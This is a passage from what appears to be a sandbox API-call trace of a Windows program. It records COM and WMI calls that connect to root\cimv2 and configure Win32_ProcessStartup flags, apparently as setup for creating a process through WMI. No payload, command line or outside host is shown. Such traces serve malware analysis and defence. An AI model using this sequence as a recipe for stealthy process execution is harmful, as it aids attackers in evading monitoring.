pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0059.180] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0059.180] IUnknown:Release (This=0x111f638) returned 0x1 [0059.181] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11e80d0) returned 0x0 [0059.181] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0059.181] WbemLocator:IClassFactory:CreateInstance (in: This=0x11e80d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11e80f0) returned 0x0 [0059.181] WbemLocator:IUnknown:Release (This=0x11e80d0) returned 0x0 [0059.181] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11e80f0) returned 0x0 [0059.181] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0059.182] WbemLocator:IUnknown:AddRef (This=0x11e80f0) returned 0x3 [0059.182] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0059.182] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0059.182] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0059.182] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0059.182] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0059.182] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0059.182] WbemLocator:IUnknown:Release (This=0x11e80f0) returned 0x2 [0059.182] WbemLocator:IUnknown:Release (This=0x11e80f0) returned 0x1 [0059.182] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0059.182] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0059.182] WbemLocator:IUnknown:QueryInterface (in: This=0x11e80f0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11e80f0) returned 0x0 [0059.182] WbemLocator:IUnknown:AddRef (This=0x11e80f0) returned 0x3 [0059.182] WbemLocator:IUnknown:Release (This=0x11e80f0) returned 0x2 [0059.182] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0170, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.182] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0059.183] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.183] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11e8110) returned 0x0 [0059.183] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11e8110, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11c9180) returned 0x0 [0059.193] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9180, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11df120) returned 0x0 [0059.193] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df120, pProxy=0x11c9180, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0059.193] WbemLocator:IUnknown:Release (This=0x11df120) returned 0x1 [0059.193] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9180, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11df160) returned 0x0 [0059.193] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9180, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11df120) returned 0x0 [0059.193] WbemLocator:IClientSecurity:SetBlanket (This=0x11df120, pProxy=0x11c9180, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0059.193] WbemLocator:IUnknown:Release (This=0x11df120) returned 0x2 [0059.193] WbemLocator:IUnknown:Release (This=0x11df160) returned 0x1 [0059.193] CoTaskMemFree (pv=0x11cd4c0) [0059.194] WbemLocator:IUnknown:AddRef (This=0x11c9180) returned 0x2 [0059.194] WbemLocator:IUnknown:Release (This=0x11e8110) returned 0x0 [0059.194] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0059.194] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0059.194] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9180, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11df130) returned 0x0 [0059.195] WbemLocator:IRpcOptions:Query (in: This=0x11df130, pPrx=0x11e8170, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0059.195] WbemLocator:IUnknown:Release (This=0x11df130) returned 0x2 [0059.195] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0059.195] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0059.195] WbemLocator:IUnknown:QueryInterface (in: This=0x11c9180, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11c9180) returned 0x0 [0059.195] WbemLocator:IUnknown:Release (This=0x11c9180) returned 0x2 [0059.195] SysStringLen (param_1=0x0) returned 0x0 [0059.195] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0059.195] WbemDefPath:IWbemPath:GetText (in: This=0x1bea00b0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0059.196] IWbemServices:GetObject (in: This=0x11c9180, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11f2630, ppCallResult=0x0) returned 0x0 [0059.197] IWbemClassObject:Get (in: This=0x11f2630, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0059.197] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0059.197] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0059.198] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0059.198] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0059.198] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0059.198] IUnknown:Release (This=0x111f638) returned 0x1 [0059.200] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11e8110) returned 0x0 [0059.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e8110, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0059.200] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e8110, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea0230) returned 0x0 [0059.200] WbemDefPath:IUnknown:Release (This=0x11e8110) returned 0x0 [0059.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea0230) returned 0x0 [0059.200] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0059.201] WbemDefPath:IUnknown:AddRef (This=0x1bea0230) returned 0x3 [0059.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0059.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0059.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11e8130) returned 0x0 [0059.201] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e8130, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.201] WbemDefPath:IUnknown:Release (This=0x11e8130) returned 0x3 [0059.201] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0059.201] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0059.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0059.201] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x2 [0059.201] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x1 [0059.201] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0059.201] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0059.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0230, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea0230) returned 0x0 [0059.201] WbemDefPath:IUnknown:AddRef (This=0x1bea0230) returned 0x3 [0059.202] WbemDefPath:IUnknown:Release (This=0x1bea0230) returned 0x2 [0059.202] WbemDefPath:IWbemPath:SetText (This=0x1bea0230, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0059.202] IWbemClassObject:Get (in: This=0x11f2630, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a23958*=0, plFlavor=0x2a2395c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a23958*=19, plFlavor=0x2a2395c*=0) returned 0x0 [0059.202] IWbemClassObject:Get (in: This=0x11f2630, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a23958*=19, plFlavor=0x2a2395c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a23958*=19, plFlavor=0x2a2395c*=0) returned 0x0 [0059.202] IWbemClassObject:Put (This=0x11f2630, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0059.202] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116aa00, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0059.202] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.202] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0059.202] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.202] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0059.202] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0059.202] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0059.202] IUnknown:Release (This=0x111f638) returned 0x1 [0059.204] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x11e82d0) returned 0x0 [0059.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e82d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0059.205] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e82d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea02f0) returned 0x0 [0059.205] WbemDefPath:IUnknown:Release (This=0x11e82d0) returned 0x0 [0059.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea02f0) returned 0x0 [0059.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0059.205] WbemDefPath:IUnknown:AddRef (This=0x1bea02f0) returned 0x3 [0059.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0059.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0059.205] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x11e8310) returned 0x0 [0059.205] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e8310, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.206] WbemDefPath:IUnknown:Release (This=0x11e8310) returned 0x3 [0059.206] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0059.206] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0059.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0059.206] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x2 [0059.206] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x1 [0059.206] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0059.206] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0059.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea02f0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea02f0) returned 0x0 [0059.206] WbemDefPath:IUnknown:AddRef (This=0x1bea02f0) returned 0x3 [0059.206] WbemDefPath:IUnknown:Release (This=0x1bea02f0) returned 0x2 [0059.206] WbemDefPath:IWbemPath:SetText (This=0x1bea02f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0059.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0059.207] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0059.207] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: 